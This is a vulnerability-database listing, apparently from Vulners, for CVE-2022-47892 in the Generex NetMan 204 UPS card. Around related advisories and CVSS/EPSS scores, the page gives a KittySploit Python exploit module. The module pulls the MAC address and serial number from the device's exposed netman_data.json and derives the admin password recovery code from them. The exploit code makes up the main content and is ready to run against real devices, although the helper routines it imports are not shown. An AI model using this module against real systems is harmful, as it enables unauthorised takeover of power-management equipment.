Lucene search
+L

Generex NetMan 204 CVE-2022-47892 - Sensitive Information Disclosure

🗓️ 17 Apr 2026 09:19:04Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Generex NetMan 204 exposes sensitive device information via netman_data.json.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2022-47892
6 Mar 202318:07
–circl
cnnvd
CNNVD
RIELLO UPS NetMan 安全漏洞
19 Aug 202200:00
–cnnvd
cve
CVE
CVE-2022-47892
3 Oct 202311:27
–cve
cvelist
Cvelist
CVE-2022-47892 Information disclosure in NetMan 204
3 Oct 202311:27
–cvelist
euvd
EUVD
EUVD-2022-50649
3 Oct 202520:07
–euvd
kitploit
Kitploit
Thunderstorm - Modular Framework To Exploit UPS Devices
6 Mar 202311:30
–kitploit
kitploit
Kitploit
Thunderstorm
14 Oct 202614:50
–kitploit
nvd
NVD
CVE-2022-47892
3 Oct 202312:15
–nvd
prion
Prion
Information disclosure
3 Oct 202312:15
–prion
ptsecurity
Positive Technologies
PT-2023-15520 · Unknown · Netman 204
3 Oct 202300:00
–ptsecurity
Rows per page
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.netman204 import NetMan204


class Module(Auxiliary, Http_client, NetMan204):
    __info__ = {
        "name": "Generex NetMan 204 CVE-2022-47892 - Sensitive Information Disclosure",
        "description": (
            "Generex NetMan 204 exposes sensitive device information via netman_data.json, including "
            "MAC address and serial number which can be leveraged to derive the password recovery code."
        ),
        "author": ["JoelGMSec", "KittySploit Team"],
        "cve": "CVE-2022-47892",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-47892",
        ],
        "tags": ["netman204", "disclosure", "recovery"],
    }

    compute_recovery = OptBool(True, "Also compute the recovery code from disclosed values", required=False)

    def check(self):
        info = self.netman204_fetch_device_info()
        if not info:
            return {"vulnerable": False, "reason": "Unable to fetch netman_data.json", "confidence": "low"}

        if info.get("mac_address") or info.get("serial_number"):
            return {"vulnerable": True, "reason": "Sensitive device information is exposed", "confidence": "high"}
        return {"vulnerable": False, "reason": "No sensitive fields found", "confidence": "low"}

    def run(self):
        info = self.netman204_fetch_device_info()
        if not info:
            print_error("Unable to fetch netman_data.json")
            return False

        rows = []
        for key in sorted(info.keys()):
            rows.append([str(key), str(info.get(key))])
        print_table(["Field", "Value"], rows)

        if self.compute_recovery and info.get("mac_address") and info.get("serial_number"):
            code = self.netman204_recovery_from_mac_serial(info["mac_address"], info["serial_number"])
            print_success(f"Derived recovery code: {code}")

        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 09:19Current
CVSS 3.15.3 - 7.5
EPSS0.00478
SSVC
0